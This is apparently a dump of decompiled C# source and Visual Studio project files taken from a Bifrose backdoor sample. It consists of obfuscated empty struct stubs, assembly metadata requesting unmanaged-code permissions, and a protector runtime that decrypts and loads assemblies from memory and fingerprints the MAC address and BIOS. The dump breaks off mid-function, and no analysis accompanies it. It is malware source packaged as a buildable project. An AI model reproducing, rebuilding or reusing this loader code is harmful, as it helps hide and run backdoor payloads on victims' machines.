// Type: å.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace å
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 4)]
|
||||
internal struct \u0082\u0098
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: å.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace å
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 1)]
|
||||
internal struct \u0082\u009D
|
||||
{
|
||||
}
|
||||
}
|
||||
+28
@@ -0,0 +1,28 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: å.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace å
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 1)]
|
||||
internal struct \u008E
|
||||
{
|
||||
[NativeCppClass]
|
||||
[CLSCompliant(false)]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
public enum \u00A9
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+28
@@ -0,0 +1,28 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: å.®
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace å
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 1)]
|
||||
internal struct \u00AE
|
||||
{
|
||||
[CLSCompliant(false)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
public enum \u00A9
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: å.Ñ
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace å
|
||||
{
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 4)]
|
||||
internal struct Ñ
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: å.Ö
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace å
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 12)]
|
||||
internal struct Ö
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: å.Ü
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace å
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 1)]
|
||||
internal struct Ü
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: å.è
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace å
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 1)]
|
||||
internal struct è
|
||||
{
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: õ.Ï
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace õ
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[UnsafeValueType]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 20)]
|
||||
internal struct \u0081Ï
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: õ.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace õ
|
||||
{
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 1)]
|
||||
internal struct \u0099
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: õ.¦
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace õ
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 1)]
|
||||
internal struct \u00A6
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: õ.¿
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace õ
|
||||
{
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 4)]
|
||||
internal struct \u00BF
|
||||
{
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: õ.ñ
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace õ
|
||||
{
|
||||
[UnsafeValueType]
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 14)]
|
||||
internal struct ñ
|
||||
{
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: õ.ü
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace õ
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[UnsafeValueType]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 18)]
|
||||
internal struct ü
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Permissions;
|
||||
|
||||
[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyProduct("Cursor")]
|
||||
[assembly: AssemblyDescription("1")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2010")]
|
||||
[assembly: AssemblyTitle("Cursor")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: CLSCompliant(true)]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: SecurityPermission(SecurityAction.RequestMinimum, UnmanagedCode = true)]
|
||||
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
|
||||
+121
@@ -0,0 +1,121 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{2278317B-09BA-43EA-BE42-888E71B80442}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Cursor</AssemblyName>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualC" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="_003CdotNetProtector_003E.cs" />
|
||||
<Compile Include="_0082¼\_0082».cs" />
|
||||
<Compile Include="_0082¼\_0082¶.cs" />
|
||||
<Compile Include="_0082¼\_0082.cs" />
|
||||
<Compile Include="_0082¼\_0082©.cs" />
|
||||
<Compile Include="_0082¼\_0082¦.cs" />
|
||||
<Compile Include="_0082¼\_0082¢.cs" />
|
||||
<Compile Include="_0082¼\_0082_0095.cs" />
|
||||
<Compile Include="_0082¼\_0082_0094.cs" />
|
||||
<Compile Include="_0082¼\_0082_008A.cs" />
|
||||
<Compile Include="_0082¼\_0082_0084.cs" />
|
||||
<Compile Include="_0082¼\_0081ù.cs" />
|
||||
<Compile Include="_0082¼\_0081ò.cs" />
|
||||
<Compile Include="_0082¼\_0081ì.cs" />
|
||||
<Compile Include="_0082¼\_0081ã.cs" />
|
||||
<Compile Include="_0082¼\_0081Ü.cs" />
|
||||
<Compile Include="_0082¼\_0081Õ.cs" />
|
||||
<Compile Include="_0082¼\_0081Î.cs" />
|
||||
<Compile Include="_0082¼\_0081Ç.cs" />
|
||||
<Compile Include="_0082¼\_0081Â.cs" />
|
||||
<Compile Include="_0082¼\_0081¹.cs" />
|
||||
<Compile Include="_0082¼\_0081³.cs" />
|
||||
<Compile Include="_0082¼\_0081«.cs" />
|
||||
<Compile Include="_0082¼\_0081§.cs" />
|
||||
<Compile Include="_0082¼\_0081 .cs" />
|
||||
<Compile Include="_0082¼\_0081_009C.cs" />
|
||||
<Compile Include="_0082¼\_0081_0097.cs" />
|
||||
<Compile Include="_0082¼\_0081_0093.cs" />
|
||||
<Compile Include="_0082¼\_0081_0090.cs" />
|
||||
<Compile Include="_0082¼\_0081_008B.cs" />
|
||||
<Compile Include="_0082¼\_0081_0088.cs" />
|
||||
<Compile Include="_0082¼\_0081_0083.cs" />
|
||||
<Compile Include="_0082¼\_0081_0080.cs" />
|
||||
<Compile Include="_0082¼\ä.cs" />
|
||||
<Compile Include="_0082¼\Ê.cs" />
|
||||
<Compile Include="_0082¼\1Ä.cs" />
|
||||
<Compile Include="_0082¼\µ.cs" />
|
||||
<Compile Include="_0082¼\Á.cs" />
|
||||
<Compile Include="_0082¼\.cs" />
|
||||
<Compile Include="_0082¼\¨.cs" />
|
||||
<Compile Include="_0082¼\´.cs" />
|
||||
<Compile Include="_0082¼\±.cs" />
|
||||
<Compile Include="_0082¼\ .cs" />
|
||||
<Compile Include="_0082¼\_0094.cs" />
|
||||
<Compile Include="_0082¼\_008D.cs" />
|
||||
<Compile Include="_0082¼\_0088.cs" />
|
||||
<Compile Include="_0082¼\_0086.cs" />
|
||||
<Compile Include="_0082¼\_0082².cs" />
|
||||
<Compile Include="_0082¼\_0082º.cs" />
|
||||
<Compile Include="_0082¼\_0082³.cs" />
|
||||
<Compile Include="_0082¼\_0082_009A.cs" />
|
||||
<Compile Include="_0082¼\_0082¨.cs" />
|
||||
<Compile Include="_0082¼\_0082§.cs" />
|
||||
<Compile Include="_0082¼\_0082¥.cs" />
|
||||
<Compile Include="_0082¼\_0082_008E.cs" />
|
||||
<Compile Include="_0082¼\_0082_0088.cs" />
|
||||
<Compile Include="_0082¼\_0081æ.cs" />
|
||||
<Compile Include="_0082¼\_0081$.cs" />
|
||||
<Compile Include="_0082¼\1_0081î.cs" />
|
||||
<Compile Include="õ\ü.cs" />
|
||||
<Compile Include="õ\ñ.cs" />
|
||||
<Compile Include="õ\¿.cs" />
|
||||
<Compile Include="õ\¦.cs" />
|
||||
<Compile Include="õ\_0099.cs" />
|
||||
<Compile Include="õ\_0081Ï.cs" />
|
||||
<Compile Include="å\è.cs" />
|
||||
<Compile Include="å\Ü.cs" />
|
||||
<Compile Include="å\Ö.cs" />
|
||||
<Compile Include="å\Ñ.cs" />
|
||||
<Compile Include="å\®.cs" />
|
||||
<Compile Include="å\_008E.cs" />
|
||||
<Compile Include="å\_0082_009D.cs" />
|
||||
<Compile Include="å\_0082_0098.cs" />
|
||||
<Compile Include="å\_0082_0090.cs" />
|
||||
<Compile Include="_0081é\_0081ê.cs" />
|
||||
<Compile Include="_0081é\_0081Þ.cs" />
|
||||
<Compile Include="_0081é\_0081Ù.cs" />
|
||||
<Compile Include="PvLogiciels\dotNetProtector\RuntimeInterop.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.csproj", "{2278317B-09BA-43EA-BE42-888E71B80442}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{2278317B-09BA-43EA-BE42-888E71B80442}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{2278317B-09BA-43EA-BE42-888E71B80442}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{2278317B-09BA-43EA-BE42-888E71B80442}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{2278317B-09BA-43EA-BE42-888E71B80442}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+651
@@ -0,0 +1,651 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: PvLogiciels.dotNetProtector.RuntimeInterop
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe
|
||||
|
||||
using \u0081é;
|
||||
using \u0082\u00BC;
|
||||
using õ;
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace PvLogiciels.dotNetProtector
|
||||
{
|
||||
public class RuntimeInterop : IRuntime
|
||||
{
|
||||
internal Assembly[] ò;
|
||||
internal Assembly \u0081\u00BD;
|
||||
internal string \u0082\u00B4;
|
||||
|
||||
private static unsafe byte* Ô(Assembly _param0) => (byte*) Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]).ToPointer();
|
||||
|
||||
internal RuntimeInterop() => this.ò = new Assembly[0];
|
||||
|
||||
internal unsafe Assembly \u0081â(IntPtr _param1)
|
||||
{
|
||||
int id = AppDomain.CurrentDomain.Id;
|
||||
byte* numPtr = (byte*) \u0082\u00BB.\u00B7(_param1.ToPointer());
|
||||
if ((IntPtr) numPtr == IntPtr.Zero)
|
||||
return (Assembly) null;
|
||||
IntPtr ptr = (IntPtr) (void*) numPtr;
|
||||
_param1 = ptr;
|
||||
int num1 = Marshal.ReadInt32(ptr);
|
||||
int length1 = Marshal.ReadInt32(_param1, 4);
|
||||
int length2 = Marshal.ReadInt32(_param1, 8);
|
||||
IntPtr source1 = (IntPtr) (void*) (numPtr + 12);
|
||||
IntPtr source2 = (IntPtr) (void*) (numPtr + length1 + 12);
|
||||
byte[] numArray = new byte[length1];
|
||||
byte[] destination = numArray;
|
||||
int length3 = length1;
|
||||
Marshal.Copy(source1, destination, 0, length3);
|
||||
Assembly assembly;
|
||||
if (length2 != 0)
|
||||
{
|
||||
byte[] rawSymbolStore = new byte[length2];
|
||||
Marshal.Copy(source2, numArray, 0, length2);
|
||||
assembly = Assembly.Load(numArray, rawSymbolStore);
|
||||
}
|
||||
else
|
||||
assembly = Assembly.Load(numArray);
|
||||
Marshal.FreeCoTaskMem(_param1);
|
||||
if ((object) assembly != null && num1 >= 0)
|
||||
{
|
||||
Type[] types = assembly.GetTypes();
|
||||
IntPtr num2 = types[types.Length - 1].TypeHandle.Value;
|
||||
\u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(assembly.GetLoadedModules()[0]).ToPointer(), num2.ToPointer(), num1, id);
|
||||
}
|
||||
return assembly;
|
||||
}
|
||||
|
||||
internal static unsafe void Î(Assembly _param0)
|
||||
{
|
||||
string assemblyString = PvLogiciels.dotNetProtector.Runtime.GetAssemblyString(_param0);
|
||||
IntPtr ptr = IntPtr.Zero;
|
||||
if (assemblyString != (string) null)
|
||||
ptr = Marshal.StringToCoTaskMemAnsi(assemblyString);
|
||||
\u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]).ToPointer(), (void*) 0, (int*) 0, (sbyte*) ptr.ToPointer(), AppDomain.CurrentDomain.Id);
|
||||
if (!(ptr != IntPtr.Zero))
|
||||
return;
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
}
|
||||
|
||||
public virtual Assembly GetEntryAssembly()
|
||||
{
|
||||
if ((object) \u0081ê.\u0081\u0099 != null)
|
||||
return \u0081ê.\u0081\u0099;
|
||||
Assembly entryAssembly = Assembly.GetEntryAssembly();
|
||||
if ((object) entryAssembly != null)
|
||||
{
|
||||
\u0081ê.\u0081\u0099 = entryAssembly;
|
||||
return entryAssembly;
|
||||
}
|
||||
Assembly executingAssembly = Assembly.GetExecutingAssembly();
|
||||
if (executingAssembly.FullName.StartsWith("PvLogiciels.dotNetProtector.Runtime"))
|
||||
return (Assembly) null;
|
||||
\u0081ê.\u0081\u0099 = executingAssembly;
|
||||
return executingAssembly;
|
||||
}
|
||||
|
||||
public static IRuntime InitRuntime()
|
||||
{
|
||||
RuntimeInterop runtimeInterop = new RuntimeInterop();
|
||||
if (AppDomain.CurrentDomain.IsDefaultAppDomain())
|
||||
{
|
||||
AppDomain.CurrentDomain.ProcessExit += new EventHandler(RuntimeInterop.AppDomain_ProcessExit);
|
||||
return (IRuntime) runtimeInterop;
|
||||
}
|
||||
AppDomain.CurrentDomain.DomainUnload += new EventHandler(new \u0081Þ(AppDomain.CurrentDomain, AppDomain.CurrentDomain.Id).\u0081\u0084);
|
||||
return (IRuntime) runtimeInterop;
|
||||
}
|
||||
|
||||
public static void AppDomain_ProcessExit(object sender, EventArgs e)
|
||||
{
|
||||
GC.Collect();
|
||||
GC.WaitForPendingFinalizers();
|
||||
\u0082\u00BB.\u0081\u0086();
|
||||
}
|
||||
|
||||
public virtual void NGenInitRuntime()
|
||||
{
|
||||
}
|
||||
|
||||
public virtual ulong GetComputerHash() => \u0082\u00BB.\u0081\u008C();
|
||||
|
||||
public virtual long GetMacAddress() => \u0082\u00BB.Ç();
|
||||
|
||||
public virtual ulong GetBiosHash() => \u0082\u00BB.Ï();
|
||||
|
||||
public virtual int UnloadDomain() => \u0082\u00BB.\u0095(AppDomain.CurrentDomain.Id);
|
||||
|
||||
public virtual unsafe int InitModule(Type pReserved1, IntPtr pReserved2, string Reserved3)
|
||||
{
|
||||
IntPtr ptr = IntPtr.Zero;
|
||||
if (Reserved3 != (string) null)
|
||||
ptr = Marshal.StringToCoTaskMemAnsi(Reserved3);
|
||||
IntPtr num1 = pReserved1.TypeHandle.Value;
|
||||
int num2 = \u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer(), num1.ToPointer(), (int*) pReserved2.ToPointer(), (sbyte*) ptr.ToPointer(), AppDomain.CurrentDomain.Id);
|
||||
if (ptr != IntPtr.Zero)
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
if (num2 == 2)
|
||||
{
|
||||
this.\u0081\u00BD = pReserved1.Assembly;
|
||||
this.\u0082\u00B4 = pReserved1.Assembly.GetName().Name;
|
||||
int length = \u0082\u00BB.\u0081\u009B();
|
||||
if (length != 0)
|
||||
{
|
||||
this.ò = new Assembly[length];
|
||||
int index = 0;
|
||||
if (0 < length)
|
||||
{
|
||||
do
|
||||
{
|
||||
this.ò[index] = (Assembly) null;
|
||||
++index;
|
||||
}
|
||||
while (index < length);
|
||||
}
|
||||
}
|
||||
}
|
||||
return num2;
|
||||
}
|
||||
|
||||
public virtual unsafe string DesignLicenseKey(Type pReserved1, string pReserved2)
|
||||
{
|
||||
IntPtr ptr = Marshal.AllocCoTaskMem(IntPtr.Size);
|
||||
IntPtr coTaskMemAnsi = Marshal.StringToCoTaskMemAnsi(pReserved2);
|
||||
\u0082\u00BB.Ý((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer(), (sbyte*) coTaskMemAnsi.ToPointer(), (sbyte**) ptr.ToPointer());
|
||||
IntPtr num = Marshal.ReadIntPtr(ptr);
|
||||
string str = (string) null;
|
||||
if (num != IntPtr.Zero)
|
||||
{
|
||||
string stringAnsi = Marshal.PtrToStringAnsi(num);
|
||||
Marshal.FreeHGlobal(num);
|
||||
str = stringAnsi;
|
